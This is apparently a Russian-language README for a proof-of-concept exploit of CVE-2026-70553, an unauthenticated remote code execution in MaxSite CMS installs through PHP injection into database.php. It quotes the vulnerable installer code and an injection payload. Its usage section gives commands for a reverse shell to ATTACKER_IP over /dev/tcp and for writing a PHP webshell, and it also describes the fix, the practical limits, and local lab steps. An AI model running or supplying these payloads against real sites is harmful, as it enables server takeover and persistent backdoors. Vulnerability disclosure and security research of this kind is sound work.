
Эксплойт Proof-of-concept для CVE-2026-70553, позволяющий неаутентифицированное удалённое выполнение кода (RCE) в MaxSite CMS путём персистентной PHP-инъекции в database.php через конечную точку установки.
Proof-of-Concept для CVE-2026-70553: неаутентифицированное удалённое выполнение кода в MaxSite CMS посредством постоянной инъекции PHP-кода в database.php через конечную точку установки.
Данный PoC предназначен только для образовательных целей и санкционированных исследований в области безопасности. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый этим кодом. Проводите тестирование только против систем, которыми вы владеете или на которые у вас есть явное письменное разрешение.
Версии MaxSite CMS с 105.2 по 109.5 содержат критическую уязвимость неаутентифицированного удалённого выполнения кода в конечной точке установки. Параметр db_dbprefix напрямую конкатенируется в PHP-код без санитизации, что позволяет злоумышленникам внедрять произвольные PHP-операторы в . Поскольку этот файл подключается при каждом запросе, внедрённый код обеспечивает постоянное удалённое выполнение кода (persistent RCE).
application/config/database.phpВ install/installer/functions.php функция newDatabase() формирует содержимое database.php:
function newDatabase($PV)
{
if (file_exists(MSODIR . 'application/config/database.php-distr')) {
$file = file_get_contents(MSODIR . 'application/config/database.php-distr');
// ... other replacements ...
// VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
$file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';',
'$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';',
$file);
file_put_contents(MSODIR . 'application/config/database.php', $file);
return false;
}
// ...
}
Внедряя payload следующего вида:
db_dbprefix=mso_'; system('id'); //
Сгенерированный database.php становится:
$db['default']['dbprefix'] = 'mso_'; system('id'); //';
Это позволяет выйти из строкового литерала и внедрить произвольный PHP-код.
Исправление добавило проверку, предотвращающую повторную установку:
if (file_exists(MSODIR . 'application/config/database.php-distr')
and
!file_exists(MSODIR . 'application/config/database.php')) // NEW CHECK
{
// ... create database.php only if it doesn't exist
}
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only
# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com
# Custom payload: reverse shell
python3 exploit.py http://target.com \
--cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'
# Custom payload: write webshell
python3 exploit.py http://target.com \
--cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'
--cmd PHP code to inject (default: file write test)
--check-only Only check if install endpoint is accessible
--db-host Database hostname (default: localhost)
--db-user Database username (default: test)
--db-pass Database password (default: test)
--db-name Database name (default: test)
КРИТИЧЕСКИ ВАЖНО: Данная уязвимость имеет серьёзные практические ограничения в реальных сценариях.
/install/ не удалён)newDatabase() вызывается, только если таблицы не существуютinstall/installer/post.php с помощью checkTableExists()newDatabase() никогда не вызывается/install/ доступен, путь выполнения кода до инъекции блокируется проверкой существования таблицЧтобы проверить эту уязвимость в контролируемой среде:
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5
# 2. Start PHP built-in server
php -S 127.0.0.1:8000
# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000
# Check if database.php was modified
cat application/config/database.php | grep dbprefix
# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';
# Trigger execution
curl http://127.0.0.1:8000/
# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt
Этот проект распространяется под лицензией MIT. Подробности см. в LICENSE.
Помните: Всегда соблюдайте практику ответственного раскрытия уязвимостей и получайте надлежащее разрешение перед тестированием.